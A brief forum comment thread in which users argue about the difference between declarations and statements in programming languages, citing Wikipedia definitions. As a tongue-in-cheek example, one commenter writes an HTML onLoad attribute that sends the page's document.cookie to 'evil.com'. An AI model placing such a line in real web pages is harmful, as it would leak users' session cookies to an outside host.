7 ms·
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: <body onLoa
by tremon 1mo ago
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:
<body onLoad="http.GET('http://evil.com/"+document.cookie')">
- inigyou 1mo agoWhat do you think is the difference between a declaration and a statement?
- tremon 1mo agoI don't need to think, I can just look up their definitions: https://en.wikipedia.org/wiki/Declaration_(computer_programming) https://en.wikipedia.org/wiki/Declaration_(computer_programm...: > a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization https://en.wikipedia.org/wiki/Statement_(computer_science) https://en.wikipedia.org/wiki/Statement_(computer_science): > a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out